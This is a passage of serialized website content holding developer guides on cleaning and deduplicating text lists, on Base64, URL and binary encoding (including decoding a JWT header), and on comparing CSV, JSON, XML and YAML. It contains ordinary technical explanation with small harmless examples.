pass.",[16,83777,83778],{},"Step-by-step:",[77,83780,83781,83784,83787,83790,83793],{},[44,83782,83783],{},"Paste the raw list into the sorter",[44,83785,83786],{},"Enable \"remove blank lines\"",[44,83788,83789],{},"Choose alphabetical sort (or numeric if the data is numbers)",[44,83791,83792],{},"Enable \"remove duplicates\"",[44,83794,83795],{},"Sort and copy the clean result",[16,83797,83798],{},"This workflow reliably cleans lists of thousands of lines in under a second.",[11,83800,83802],{"id":83801},"from-raw-data-to-clean-data","From Raw Data to Clean Data",[16,83804,83805],{},"Here is a realistic example. You exported a mailing list from three different sources and merged them into one file. The result has 1,500 lines with these problems:",[41,83807,83808,83811,83814,83817],{},[44,83809,83810],{},"120 duplicate email addresses",[44,83812,83813],{},"45 blank lines between sections",[44,83815,83816],{},"Mixed case — some emails are lowercase, some are uppercase",[44,83818,83819],{},"Three entries with trailing spaces that prevent matching",[16,83821,83822],{},"The fix:",[77,83824,83825,83836,83842,83848],{},[44,83826,83827,83830,83831,1856,83833,83835],{},[47,83828,83829],{},"Normalize case first."," Convert all lines to lowercase using a case converter or find-and-replace. This ensures ",[143,83832,83709],{},[143,83834,83706],{}," match during dedup.",[44,83837,83838,83841],{},[47,83839,83840],{},"Trim whitespace."," Strip trailing and leading spaces from every line.",[44,83843,83844,83847],{},[47,83845,83846],{},"Sort and deduplicate."," Sort alphabetically, enable \"remove blank lines\" and \"remove duplicates.\" The 120 duplicates and 45 blanks disappear.",[44,83849,83850,83853],{},[47,83851,83852],{},"Verify."," Compare the output count against the expected unique count. Use a diff checker if you need to see exactly what was removed.",[16,83855,83856],{},"The merged list — once 1,500 messy lines — is now roughly 1,340 clean, unique entries.",[11,83858,83860],{"id":83859},"when-to-use-programming-instead","When to Use Programming Instead",[16,83862,83863],{},"Online tools handle most one-off tasks. But some situations call for code.",[16,83865,83866,83869,83870,83873],{},[47,83867,83868],{},"Repeated workflows."," If you clean the same type of file every week, automate it with a script. Python's ",[143,83871,83872],{},"pandas"," library deduplicates, sorts, and formats in a few lines.",[16,83875,83876,83879],{},[47,83877,83878],{},"Large datasets."," Browser-based tools struggle above 100,000 lines. A local script processes millions of rows without memory limits.",[16,83881,83882,83885],{},[47,83883,83884],{},"Complex transformations."," Multi-field deduplication (remove rows where the email matches, but keep the row with the most recent timestamp) requires logic that simple sorters cannot express.",[16,83887,83888,83891],{},[47,83889,83890],{},"Integration requirements."," When the clean data needs to go directly into a database or API, keep the entire pipeline in code to avoid manual copy-paste.",[16,83893,83894],{},"For everything else — quick cleanup, one-time dedup, ad-hoc formatting — stick with online tools. They are faster to use and harder to break.",[11,83896,83898],{"id":83897},"preventing-dirty-data","Preventing Dirty Data",[16,83900,83901],{},"Cleanup is reactive. Prevention is better.",[41,83903,83904,83910,83916,83922],{},[44,83905,83906,83909],{},[47,83907,83908],{},"Validate input at the source."," Reject blank lines, enforce lowercase emails, and strip whitespace on entry.",[44,83911,83912,83915],{},[47,83913,83914],{},"Use consistent delimiters."," Pick commas or tabs for a file — never mix them.",[44,83917,83918,83921],{},[47,83919,83920],{},"Declare encoding explicitly."," Always save as UTF-8, and include a BOM if consumers expect one.",[44,83923,83924,83927],{},[47,83925,83926],{},"Automate exports."," Manual copy-paste introduces formatting artifacts. Scripted exports produce consistent output.",[16,83929,83930],{},"These habits eliminate most common data quality problems before they start.",[11,83932,1355],{"id":1354},[41,83934,83935,83938,83941,83944,83947,83950],{},[44,83936,83937],{},"Dirty data produces wrong results — cleanup is not optional, it is the bottleneck",[44,83939,83940],{},"Four problems cover most cases: duplicates, blank lines, inconsistent formatting, encoding errors",[44,83942,83943],{},"Always sort before deduplicating — it groups duplicates together for efficient removal",[44,83945,83946],{},"Normalize case and trim whitespace before dedup to catch near-duplicates",[44,83948,83949],{},"Use online tools for quick one-off tasks, code for repeated or complex workflows",[44,83951,83952],{},"Prevent dirty data at the source rather than cleaning it after the fact",[11,83954,286],{"id":285},[16,83956,83957,83958,83960],{},"Paste any messy list into our free ",[98,83959,6341],{"href":6340},". Enable blank line removal and duplicate removal, pick a sort mode, and get a clean result in one click — no signup needed.",[11,83962,321],{"id":320},[41,83964,83965,83969,83974],{},[44,83966,83967],{},[98,83968,6352],{"href":6351},[44,83970,83971],{},[98,83972,83973],{"href":6382},"Sorting Algorithms Compared",[44,83975,83976],{},[98,83977,23827],{"href":23826},{"title":141,"searchDepth":337,"depth":337,"links":83979},[83980,83981,83982,83983,83984,83985,83986,83987,83988,83989],{"id":83659,"depth":337,"text":83660},{"id":83669,"depth":337,"text":83670},{"id":83728,"depth":337,"text":83729},{"id":83765,"depth":337,"text":83766},{"id":83801,"depth":337,"text":83802},{"id":83859,"depth":337,"text":83860},{"id":83897,"depth":337,"text":83898},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"How to clean, deduplicate, and format raw data using free online tools. Turn messy exports into usable datasets in minutes.",{"keywords":83992,"immutable":363},[6380,83993],"data-cleanup-tools",{"title":83654,"description":83990},"guides\u002Fdata-cleanup-tools","U4PAEjhTC7vFa9J_ynmMThpjxCNwWuRc6UxqSO7buJI",{"id":83998,"title":14973,"body":83999,"date":2070,"description":84561,"extension":361,"meta":84562,"navigation":363,"path":14972,"readingTime":889,"seo":84563,"stem":84564,"__hash__":84565},"guides\u002Fguides\u002Fdata-encoding-tools.md",{"type":8,"value":84000,"toc":84536},[84001,84005,84008,84011,84015,84018,84030,84035,84049,84053,84059,84062,84068,84072,84075,84079,84093,84097,84103,84108,84114,84118,84121,84141,84145,84159,84163,84169,84180,84184,84252,84256,84260,84263,84267,84270,84274,84277,84281,84284,84288,84292,84295,84314,84320,84324,84327,84333,84336,84340,84343,84349,84356,84358,84364,84390,84393,84397,84400,84478,84481,84483,84500,84502,84505,84518,84520],[11,84002,84004],{"id":84003},"what-are-data-encoding-tools","What Are Data Encoding Tools?",[16,84006,84007],{},"Data encoding tools convert information from one format into another — typically from human-readable text into a machine-friendly representation. Encoding is not encryption. It doesn't hide data; it transforms it so systems can process, transmit, or store it correctly.",[16,84009,84010],{},"Developers, DevOps engineers, and security analysts use encoding tools daily. Whether you're debugging an API payload, embedding an image in CSS, or preparing data for a URL query string, the right encoder saves time and prevents errors.",[11,84012,84014],{"id":84013},"essential-encoding-tools","Essential Encoding Tools",[33,84016,13894],{"id":84017},"text-to-binary",[16,84019,84020,84021,28833,84023,84026,84027,468],{},"Text to binary encoding converts each character into its 8-bit ASCII representation. The letter ",[143,84022,21981],{},[143,84024,84025],{},"01000001",". The word \"Hi\" becomes ",[143,84028,84029],{},"01001000 01101001",[16,84031,84032],{},[47,84033,84034],{},"When to use it:",[41,84036,84037,84040,84043,84046],{},[44,84038,84039],{},"Debugging character encoding issues in data pipelines",[44,84041,84042],{},"Learning how computers represent text at the lowest level",[44,84044,84045],{},"Solving CTF challenges that hide messages in binary",[44,84047,84048],{},"Verifying ASCII values and checking for non-printable characters",[16,84050,84051],{},[47,84052,28745],{},[135,84054,84057],{"className":84055,"code":84056,"language":140},[138],"Input:  Hello\nOutput: 01001000 01100101 01101100 01101100 01101111\n",[143,84058,84056],{"__ignoreMap":141},[16,84060,84061],{},"The reverse operation — binary to text — splits binary strings into 8-bit groups and maps each byte back to its ASCII character.",[16,84063,84064,84065],{},"Try it: ",[98,84066,14418],{"href":14954,"rel":84067},[14956],[33,84069,84071],{"id":84070},"base64-encoder","Base64 Encoder",[16,84073,84074],{},"Base64 converts binary data into printable ASCII characters. It takes 3 bytes of input and produces 4 characters of output, expanding data size by roughly 33%.",[16,84076,84077],{},[47,84078,84034],{},[41,84080,84081,84084,84087,84090],{},[44,84082,84083],{},"Embedding small images in HTML or CSS as Data URIs",[44,84085,84086],{},"Sending binary data in JSON payloads (APIs, webhooks)",[44,84088,84089],{},"HTTP Basic Authentication (credentials encoded as Base64)",[44,84091,84092],{},"Encoding email attachments via MIME",[16,84094,84095],{},[47,84096,28745],{},[135,84098,84101],{"className":84099,"code":84100,"language":140},[138],"Input:  Hello\nOutput: SGVsbG8=\n",[143,84102,84100],{"__ignoreMap":141},[16,84104,421,84105,84107],{},[143,84106,7297],{}," padding character appears when input length isn't a multiple of 3 bytes.",[16,84109,84110,84113],{},[47,84111,84112],{},"Important caveat:"," Base64 is encoding, not encryption. Anyone can decode it. Never use Base64 to protect sensitive data like passwords or API keys.",[16,84115,84064,84116],{},[98,84117,12162],{"href":12161},[33,84119,34510],{"id":84120},"url-encoder",[16,84122,84123,84124,84126,84127,84130,84131,84133,84134,84137,84138,468],{},"URL encoding (percent-encoding) converts characters into ",[143,84125,34470],{}," format, where ",[143,84128,84129],{},"XX"," is the character's hexadecimal ASCII value. Spaces become ",[143,84132,34150],{},", ampersands become ",[143,84135,84136],{},"%26",", and slashes become ",[143,84139,84140],{},"%2F",[16,84142,84143],{},[47,84144,84034],{},[41,84146,84147,84150,84153,84156],{},[44,84148,84149],{},"Building query strings with special characters",[44,84151,84152],{},"Passing data through URLs that contain spaces, Unicode, or reserved characters",[44,84154,84155],{},"Debugging API requests that fail on certain inputs",[44,84157,84158],{},"Testing OAuth redirect URIs and callback URLs",[16,84160,84161],{},[47,84162,28745],{},[135,84164,84167],{"className":84165,"code":84166,"language":140},[138],"Input:  Hello World!\nOutput: Hello%20World%21\n",[143,84168,84166],{"__ignoreMap":141},[16,84170,34036,84171,1459,84173,1459,84175,1466,84177,84179],{},[143,84172,33994],{},[143,84174,13530],{},[143,84176,7297],{},[143,84178,6852],{}," must be encoded when they appear as data rather than URL structure. Forgetting this is a common source of bugs.",[11,84181,84183],{"id":84182},"comparison-which-encoder-do-you-need","Comparison: Which Encoder Do You Need?",[193,84185,84186,84202],{},[196,84187,84188],{},[199,84189,84190,84192,84194,84196,84199],{},[202,84191,751],{},[202,84193,39500],{},[202,84195,484],{},[202,84197,84198],{},"Size Change",[202,84200,84201],{},"Primary Use Case",[211,84203,84204,84219,84235],{},[199,84205,84206,84208,84210,84213,84216],{},[216,84207,13894],{},[216,84209,30784],{},[216,84211,84212],{},"8-bit binary groups",[216,84214,84215],{},"+700%",[216,84217,84218],{},"Education, debugging",[199,84220,84221,84224,84227,84230,84232],{},[216,84222,84223],{},"Base64",[216,84225,84226],{},"Binary\u002Ftext",[216,84228,84229],{},"ASCII (A–Z, a–z, 0–9, +, \u002F)",[216,84231,13053],{},[216,84233,84234],{},"Data embedding, APIs",[199,84236,84237,84239,84241,84246,84249],{},[216,84238,34510],{},[216,84240,30784],{},[216,84242,84243,84245],{},[143,84244,34470],{}," hex sequences",[216,84247,84248],{},"Variable",[216,84250,84251],{},"Web URLs, query strings",[11,84253,84255],{"id":84254},"benefits-of-online-encoding-tools","Benefits of Online Encoding Tools",[33,84257,84259],{"id":84258},"zero-setup","Zero Setup",[16,84261,84262],{},"Online encoders work instantly in your browser. No installation, no dependencies, no configuration files. Open a tab and start converting.",[33,84264,84266],{"id":84265},"cross-platform","Cross-Platform",[16,84268,84269],{},"Whether you're on macOS, Windows, or a Chromebook, the tool works the same. Share a link with a teammate and they see the same interface.",[33,84271,84273],{"id":84272},"immediate-feedback","Immediate Feedback",[16,84275,84276],{},"Paste input, see output. No compile step, no script to run. This makes online tools ideal for quick checks — verifying a Base64 string, inspecting binary output, or decoding a URL parameter.",[33,84278,84280],{"id":84279},"privacy-conscious","Privacy-Conscious",[16,84282,84283],{},"Good online tools process data client-side in your browser. Your data never leaves your machine. This matters when you're encoding API keys, tokens, or personal data.",[11,84285,84287],{"id":84286},"practical-workflow-examples","Practical Workflow Examples",[33,84289,84291],{"id":84290},"debugging-a-json-web-token","Debugging a JSON Web Token",[16,84293,84294],{},"JWTs have three Base64-encoded segments separated by dots. To inspect a token:",[77,84296,84297,84300,84306,84311],{},[44,84298,84299],{},"Copy the JWT",[44,84301,84302,84303,84305],{},"Split on ",[143,84304,468],{}," to get header, payload, and signature",[44,84307,84308,84309],{},"Decode each segment with ",[98,84310,84223],{"href":12161},[44,84312,84313],{},"Read the JSON claims",[135,84315,84318],{"className":84316,"code":84317,"language":140},[138],"eyJhbGciOiJIUzI1NiJ9 → {\"alg\":\"HS256\"}\n",[143,84319,84317],{"__ignoreMap":141},[33,84321,84323],{"id":84322},"checking-a-url-parameter","Checking a URL Parameter",[16,84325,84326],{},"A URL breaks when unencoded special characters appear in query values:",[135,84328,84331],{"className":84329,"code":84330,"language":140},[138],"Broken:  \u002Fsearch?q=hello world&lang=en\nFixed:   \u002Fsearch?q=hello%20world&lang=en\n",[143,84332,84330],{"__ignoreMap":141},[16,84334,84335],{},"Use the URL encoder on each parameter value before building the string.",[33,84337,84339],{"id":84338},"understanding-character-encoding","Understanding Character Encoding",[16,84341,84342],{},"When text displays incorrectly, compare the binary representation:",[135,84344,84347],{"className":84345,"code":84346,"language":140},[138],"Expected: 'é' → 11000011 10101001 (UTF-8, 2 bytes)\nGot:      'Ã©' → 11000011 10101001 decoded as ISO-8859-1\n",[143,84348,84346],{"__ignoreMap":141},[16,84350,84351,84352,84355],{},"Same bytes, different interpretation. The ",[98,84353,13894],{"href":14954,"rel":84354},[14956]," tool shows you exactly what bytes your text produces.",[11,84357,739],{"id":738},[16,84359,84360,84361],{},"Ask yourself one question: ",[47,84362,84363],{},"Where is this data going?",[41,84365,84366,84372,84378,84384],{},[44,84367,84368,84371],{},[47,84369,84370],{},"Into a URL?"," → URL encoder",[44,84373,84374,84377],{},[47,84375,84376],{},"Into JSON\u002FAPI payload?"," → Base64 encoder",[44,84379,84380,84383],{},[47,84381,84382],{},"Debugging raw bytes?"," → Text to binary",[44,84385,84386,84389],{},[47,84387,84388],{},"Embedding in HTML\u002FCSS?"," → Base64 (for images) or URL encoder (for query params)",[16,84391,84392],{},"Using the wrong encoder is a common mistake. Base64-encoding a URL parameter, for example, double-encodes the data and makes debugging harder. URL-encoding binary data wastes space because percent-encoding treats each byte separately.",[11,84394,84396],{"id":84395},"encoding-vs-encryption-vs-hashing","Encoding vs. Encryption vs. Hashing",[16,84398,84399],{},"These concepts are frequently confused. Here is the key distinction:",[193,84401,84402,84417],{},[196,84403,84404],{},[199,84405,84406,84408,84411,84414],{},[202,84407],{},[202,84409,84410],{},"Encoding",[202,84412,84413],{},"Encryption",[202,84415,84416],{},"Hashing",[211,84418,84419,84434,84450,84463],{},[199,84420,84421,84425,84428,84431],{},[216,84422,84423],{},[47,84424,2758],{},[216,84426,84427],{},"Format conversion",[216,84429,84430],{},"Confidentiality",[216,84432,84433],{},"Integrity verification",[199,84435,84436,84441,84444,84447],{},[216,84437,84438],{},[47,84439,84440],{},"Reversible",[216,84442,84443],{},"Yes (decode)",[216,84445,84446],{},"Yes (with key)",[216,84448,84449],{},"No (one-way)",[199,84451,84452,84457,84459,84461],{},[216,84453,84454],{},[47,84455,84456],{},"Key required",[216,84458,6117],{},[216,84460,3057],{},[216,84462,6117],{},[199,84464,84465,84469,84472,84475],{},[216,84466,84467],{},[47,84468,133],{},[216,84470,84471],{},"Base64, URL encoding",[216,84473,84474],{},"AES, RSA",[216,84476,84477],{},"SHA-256, bcrypt",[16,84479,84480],{},"Encoding is about compatibility. Encryption is about secrecy. Hashing is about verification. Use the right one for the right job.",[11,84482,1355],{"id":1354},[41,84484,84485,84488,84491,84494,84497],{},[44,84486,84487],{},"Encoding transforms data format — it doesn't secure data",[44,84489,84490],{},"Text to binary maps characters to 8-bit groups for debugging and education",[44,84492,84493],{},"Base64 is the standard for embedding binary data in text-based formats",[44,84495,84496],{},"URL encoding ensures characters travel safely through web addresses",[44,84498,84499],{},"Always pick the encoder that matches your output target (URL, JSON, HTML)",[11,84501,286],{"id":285},[16,84503,84504],{},"Start with the encoding tool that matches your task:",[41,84506,84507,84513],{},[44,84508,84509,84512],{},[98,84510,14418],{"href":14954,"rel":84511},[14956]," — encode and decode text as binary",[44,84514,84515,84517],{},[98,84516,12162],{"href":12161}," — convert data to and from Base64",[11,84519,321],{"id":320},[41,84521,84522,84526,84530],{},[44,84523,84524],{},[98,84525,14967],{"href":14966},[44,84527,84528],{},[98,84529,14444],{"href":10559},[44,84531,84532],{},[98,84533,84535],{"href":84534},"\u002Fguides\u002Fbase64-encoding-guide","What is Base64 Encoding? How It Works",{"title":141,"searchDepth":337,"depth":337,"links":84537},[84538,84539,84544,84545,84551,84556,84557,84558,84559,84560],{"id":84003,"depth":337,"text":84004},{"id":84013,"depth":337,"text":84014,"children":84540},[84541,84542,84543],{"id":84017,"depth":343,"text":13894},{"id":84070,"depth":343,"text":84071},{"id":84120,"depth":343,"text":34510},{"id":84182,"depth":337,"text":84183},{"id":84254,"depth":337,"text":84255,"children":84546},[84547,84548,84549,84550],{"id":84258,"depth":343,"text":84259},{"id":84265,"depth":343,"text":84266},{"id":84272,"depth":343,"text":84273},{"id":84279,"depth":343,"text":84280},{"id":84286,"depth":337,"text":84287,"children":84552},[84553,84554,84555],{"id":84290,"depth":343,"text":84291},{"id":84322,"depth":343,"text":84323},{"id":84338,"depth":343,"text":84339},{"id":738,"depth":337,"text":739},{"id":84395,"depth":337,"text":84396},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Discover the best online data encoding tools. From text to binary to Base64 and URL encoding.",{"immutable":363},{"title":14973,"description":84561},"guides\u002Fdata-encoding-tools","KlHaI7kb0IQKQGR8atK7646VN-FTHf-p62OKZzyXatQ",{"id":84567,"title":81205,"body":84568,"date":2070,"description":85460,"extension":361,"meta":85461,"navigation":363,"path":81204,"readingTime":7146,"seo":85464,"stem":85465,"__hash__":85466},"guides\u002Fguides\u002Fdata-format-comparison.md",{"type":8,"value":84569,"toc":85446},[84570,84574,84577,84579,84740,84744,84747,84767,84771,84785,84789,84803,84809,84813,84816,84901,84905,84919,84923,84940,84945,84949,84952,84979,84983,84997,85001,85015,85020,85024,85027,85097,85101,85121,85125,85144,85149,85153,85156,85234,85237,85239,85242,85278,85282,85388,85390,85407,85409,85412,85423,85425,85443],[11,84571,84573],{"id":84572},"why-format-choice-matters","Why Format Choice Matters",[16,84575,84576],{},"The data format you choose affects file size, parsing speed, readability, and tool compatibility. Pick the wrong one and you face bloated payloads, slow parsers, or hours of manual editing. This guide compares the four most common text-based formats so you can choose with confidence.",[11,84578,36913],{"id":36912},[193,84580,84581,84596],{},[196,84582,84583],{},[199,84584,84585,84587,84589,84591,84594],{},[202,84586,14482],{},[202,84588,81119],{},[202,84590,13411],{},[202,84592,84593],{},"XML",[202,84595,36926],{},[211,84597,84598,84614,84629,84645,84661,84677,84692,84708,84725],{},[199,84599,84600,84602,84605,84608,84611],{},[216,84601,28715],{},[216,84603,84604],{},"Delimiter-separated rows",[216,84606,84607],{},"Key-value braces",[216,84609,84610],{},"Opening\u002Fclosing tags",[216,84612,84613],{},"Indentation-based",[199,84615,84616,84619,84622,84624,84627],{},[216,84617,84618],{},"Human readability",[216,84620,84621],{},"High (simple data)",[216,84623,15457],{},[216,84625,84626],{},"Low (verbose)",[216,84628,15446],{},[199,84630,84631,84634,84637,84640,84643],{},[216,84632,84633],{},"File size (same data)",[216,84635,84636],{},"Smallest",[216,84638,84639],{},"Small",[216,84641,84642],{},"Largest",[216,84644,84639],{},[199,84646,84647,84650,84653,84656,84658],{},[216,84648,84649],{},"Native data types",[216,84651,84652],{},"None (all strings)",[216,84654,84655],{},"String, number, bool, null, array, object",[216,84657,84652],{},[216,84659,84660],{},"String, number, bool, null, array, map, date, binary",[199,84662,84663,84666,84668,84671,84674],{},[216,84664,84665],{},"Schema support",[216,84667,22317],{},[216,84669,84670],{},"JSON Schema",[216,84672,84673],{},"XSD, DTD",[216,84675,84676],{},"None (informal)",[199,84678,84679,84681,84684,84687,84690],{},[216,84680,36954],{},[216,84682,84683],{},"Not standard",[216,84685,84686],{},"Not supported",[216,84688,84689],{},"Supported",[216,84691,84689],{},[199,84693,84694,84697,84700,84703,84706],{},[216,84695,84696],{},"Streaming",[216,84698,84699],{},"Good (row-by-row)",[216,84701,84702],{},"Limited",[216,84704,84705],{},"Good (SAX)",[216,84707,84702],{},[199,84709,84710,84713,84716,84719,84722],{},[216,84711,84712],{},"Tooling",[216,84714,84715],{},"Spreadsheet apps",[216,84717,84718],{},"Universal (every language)",[216,84720,84721],{},"Wide (enterprise)",[216,84723,84724],{},"Growing (CI\u002FCD)",[199,84726,84727,84730,84733,84736,84738],{},[216,84728,84729],{},"Nesting depth",[216,84731,84732],{},"Flat only",[216,84734,84735],{},"Arbitrary",[216,84737,84735],{},[216,84739,84735],{},[11,84741,84743],{"id":84742},"csv-the-spreadsheet-workhorse","CSV: The Spreadsheet Workhorse",[16,84745,84746],{},"CSV is the simplest format — plain text rows separated by commas. It excels at flat tabular data.",[135,84748,84750],{"className":81279,"code":84749,"language":81115,"meta":141,"style":141},"product,price,stock\nWidget,9.99,150\nGadget,24.50,80\n",[143,84751,84752,84757,84762],{"__ignoreMap":141},[1560,84753,84754],{"class":1562,"line":1563},[1560,84755,84756],{},"product,price,stock\n",[1560,84758,84759],{"class":1562,"line":337},[1560,84760,84761],{},"Widget,9.99,150\n",[1560,84763,84764],{"class":1562,"line":343},[1560,84765,84766],{},"Gadget,24.50,80\n",[16,84768,84769],{},[47,84770,30193],{},[41,84772,84773,84776,84779,84782],{},[44,84774,84775],{},"Opens directly in Excel, Google Sheets, and LibreOffice",[44,84777,84778],{},"Smallest file size for tabular data",[44,84780,84781],{},"Streamable — process one row at a time",[44,84783,84784],{},"Universally supported for data import and export",[16,84786,84787],{},[47,84788,30199],{},[41,84790,84791,84794,84797,84800],{},[44,84792,84793],{},"No nesting — cannot represent hierarchical data",[44,84795,84796],{},"No data types — everything is a string",[44,84798,84799],{},"No comments or metadata",[44,84801,84802],{},"Quoting and delimiter rules are fragile",[16,84804,84805,84808],{},[47,84806,84807],{},"Best for:"," Spreadsheet exports, database dumps, log files, data pipelines processing flat records.",[11,84810,84812],{"id":84811},"json-the-api-standard","JSON: The API Standard",[16,84814,84815],{},"JSON is the dominant format for web APIs, configuration, and data interchange. Its structure maps directly to JavaScript objects.",[135,84817,84819],{"className":23484,"code":84818,"language":23486,"meta":141,"style":141},"{\n  \"products\": [\n    { \"name\": \"Widget\", \"price\": 9.99, \"inStock\": true },\n    { \"name\": \"Gadget\", \"price\": 24.50, \"inStock\": false }\n  ]\n}\n",[143,84820,84821,84825,84832,84864,84893,84897],{"__ignoreMap":141},[1560,84822,84823],{"class":1562,"line":1563},[1560,84824,23493],{"class":1570},[1560,84826,84827,84830],{"class":1562,"line":337},[1560,84828,84829],{"class":1576},"  \"products\"",[1560,84831,82876],{"class":1570},[1560,84833,84834,84836,84839,84841,84844,84846,84849,84851,84853,84855,84858,84860,84862],{"class":1562,"line":343},[1560,84835,44815],{"class":1570},[1560,84837,84838],{"class":1576},"\"name\"",[1560,84840,1663],{"class":1570},[1560,84842,84843],{"class":5634},"\"Widget\"",[1560,84845,1459],{"class":1570},[1560,84847,84848],{"class":1576},"\"price\"",[1560,84850,1663],{"class":1570},[1560,84852,35007],{"class":1576},[1560,84854,1459],{"class":1570},[1560,84856,84857],{"class":1576},"\"inStock\"",[1560,84859,1663],{"class":1570},[1560,84861,20533],{"class":1576},[1560,84863,21223],{"class":1570},[1560,84865,84866,84868,84870,84872,84875,84877,84879,84881,84883,84885,84887,84889,84891],{"class":1562,"line":365},[1560,84867,44815],{"class":1570},[1560,84869,84838],{"class":1576},[1560,84871,1663],{"class":1570},[1560,84873,84874],{"class":5634},"\"Gadget\"",[1560,84876,1459],{"class":1570},[1560,84878,84848],{"class":1576},[1560,84880,1663],{"class":1570},[1560,84882,82919],{"class":1576},[1560,84884,1459],{"class":1570},[1560,84886,84857],{"class":1576},[1560,84888,1663],{"class":1570},[1560,84890,13730],{"class":1576},[1560,84892,27879],{"class":1570},[1560,84894,84895],{"class":1562,"line":889},[1560,84896,49526],{"class":1570},[1560,84898,84899],{"class":1562,"line":1710},[1560,84900,1585],{"class":1570},[16,84902,84903],{},[47,84904,30193],{},[41,84906,84907,84910,84913,84916],{},[44,84908,84909],{},"Native type support (numbers, booleans, null, arrays, objects)",[44,84911,84912],{},"Parses natively in every browser and runtime",[44,84914,84915],{},"Compact and well-defined specification",[44,84917,84918],{},"Universal language support",[16,84920,84921],{},[47,84922,30199],{},[41,84924,84925,84928,84934,84937],{},[44,84926,84927],{},"No comments (problematic for configuration)",[44,84929,84930,84931,84933],{},"No multiline strings (must use ",[143,84932,8222],{}," escapes)",[44,84935,84936],{},"Single document per file",[44,84938,84939],{},"Strict syntax — trailing commas are errors",[16,84941,84942,84944],{},[47,84943,84807],{}," REST API responses, web app state, database storage (JSONB), inter-service communication.",[11,84946,84948],{"id":84947},"xml-the-enterprise-standard","XML: The Enterprise Standard",[16,84950,84951],{},"XML is a markup language with strong schema support and namespace handling. It remains dominant in enterprise and document-centric systems.",[135,84953,84957],{"className":84954,"code":84955,"language":84956,"meta":141,"style":141},"language-xml shiki shiki-themes github-light github-dark","\u003Cproducts>\n  \u003Cproduct name=\"Widget\" price=\"9.99\" inStock=\"true\"\u002F>\n  \u003Cproduct name=\"Gadget\" price=\"24.50\" inStock=\"false\"\u002F>\n\u003C\u002Fproducts>\n","xml",[143,84958,84959,84964,84969,84974],{"__ignoreMap":141},[1560,84960,84961],{"class":1562,"line":1563},[1560,84962,84963],{},"\u003Cproducts>\n",[1560,84965,84966],{"class":1562,"line":337},[1560,84967,84968],{},"  \u003Cproduct name=\"Widget\" price=\"9.99\" inStock=\"true\"\u002F>\n",[1560,84970,84971],{"class":1562,"line":343},[1560,84972,84973],{},"  \u003Cproduct name=\"Gadget\" price=\"24.50\" inStock=\"false\"\u002F>\n",[1560,84975,84976],{"class":1562,"line":365},[1560,84977,84978],{},"\u003C\u002Fproducts>\n",[16,84980,84981],{},[47,84982,30193],{},[41,84984,84985,84988,84991,84994],{},[44,84986,84987],{},"XSD provides rigorous validation",[44,84989,84990],{},"Namespaces prevent element conflicts",[44,84992,84993],{},"Attributes and mixed content support",[44,84995,84996],{},"Mature ecosystem (SOAP, SVG, Office Open XML)",[16,84998,84999],{},[47,85000,30199],{},[41,85002,85003,85006,85009,85012],{},[44,85004,85005],{},"Highly verbose — 2-3x larger than JSON for the same data",[44,85007,85008],{},"Slower parsing",[44,85010,85011],{},"No native type system",[44,85013,85014],{},"Complex and error-prone for simple tasks",[16,85016,85017,85019],{},[47,85018,84807],{}," SOAP web services, document formats (SVG, DOCX), enterprise integration, systems requiring strict validation.",[11,85021,85023],{"id":85022},"yaml-the-configuration-favorite","YAML: The Configuration Favorite",[16,85025,85026],{},"YAML uses indentation to define structure, making it the most readable format for humans editing files by hand.",[135,85028,85030],{"className":37227,"code":85029,"language":37229,"meta":141,"style":141},"products:\n  - name: Widget\n    price: 9.99\n    inStock: true\n  - name: Gadget\n    price: 24.50\n    inStock: false\n",[143,85031,85032,85039,85050,85060,85069,85080,85089],{"__ignoreMap":141},[1560,85033,85034,85037],{"class":1562,"line":1563},[1560,85035,85036],{"class":2484},"products",[1560,85038,19182],{"class":1570},[1560,85040,85041,85043,85045,85047],{"class":1562,"line":337},[1560,85042,37327],{"class":1570},[1560,85044,82747],{"class":2484},[1560,85046,1663],{"class":1570},[1560,85048,85049],{"class":5634},"Widget\n",[1560,85051,85052,85055,85057],{"class":1562,"line":343},[1560,85053,85054],{"class":2484},"    price",[1560,85056,1663],{"class":1570},[1560,85058,85059],{"class":1576},"9.99\n",[1560,85061,85062,85065,85067],{"class":1562,"line":365},[1560,85063,85064],{"class":2484},"    inStock",[1560,85066,1663],{"class":1570},[1560,85068,23527],{"class":1576},[1560,85070,85071,85073,85075,85077],{"class":1562,"line":889},[1560,85072,37327],{"class":1570},[1560,85074,82747],{"class":2484},[1560,85076,1663],{"class":1570},[1560,85078,85079],{"class":5634},"Gadget\n",[1560,85081,85082,85084,85086],{"class":1562,"line":1710},[1560,85083,85054],{"class":2484},[1560,85085,1663],{"class":1570},[1560,85087,85088],{"class":1576},"24.50\n",[1560,85090,85091,85093,85095],{"class":1562,"line":1717},[1560,85092,85064],{"class":2484},[1560,85094,1663],{"class":1570},[1560,85096,37132],{"class":1576},[16,85098,85099],{},[47,85100,30193],{},[41,85102,85103,85106,85111,85118],{},[44,85104,85105],{},"Highly readable — minimal punctuation",[44,85107,85108,85109],{},"Comments with ",[143,85110,6852],{},[44,85112,85113,85114,1856,85116],{},"Multiline strings with ",[143,85115,7334],{},[143,85117,28226],{},[44,85119,85120],{},"Anchors and aliases reduce repetition",[16,85122,85123],{},[47,85124,30199],{},[41,85126,85127,85130,85133,85141],{},[44,85128,85129],{},"Slowest parser (complex grammar)",[44,85131,85132],{},"Indentation errors are silent bugs",[44,85134,85135,85136,28833,85139,1525],{},"Type coercion surprises (",[143,85137,85138],{},"yes",[143,85140,20533],{},[44,85142,85143],{},"Not universally supported (less than JSON)",[16,85145,85146,85148],{},[47,85147,84807],{}," CI\u002FCD pipelines, application configuration, Kubernetes manifests, Docker Compose files.",[11,85150,85152],{"id":85151},"performance-characteristics","Performance Characteristics",[16,85154,85155],{},"File size and parsing speed vary significantly across formats. Here is a rough comparison for a dataset of 10,000 records with 5 fields each:",[193,85157,85158,85172],{},[196,85159,85160],{},[199,85161,85162,85164,85166,85168,85170],{},[202,85163,15609],{},[202,85165,81119],{},[202,85167,13411],{},[202,85169,84593],{},[202,85171,36926],{},[211,85173,85174,85191,85207,85221],{},[199,85175,85176,85179,85182,85185,85188],{},[216,85177,85178],{},"File size",[216,85180,85181],{},"1x (baseline)",[216,85183,85184],{},"1.3x",[216,85186,85187],{},"2.5x",[216,85189,85190],{},"1.4x",[199,85192,85193,85196,85199,85201,85204],{},[216,85194,85195],{},"Parse 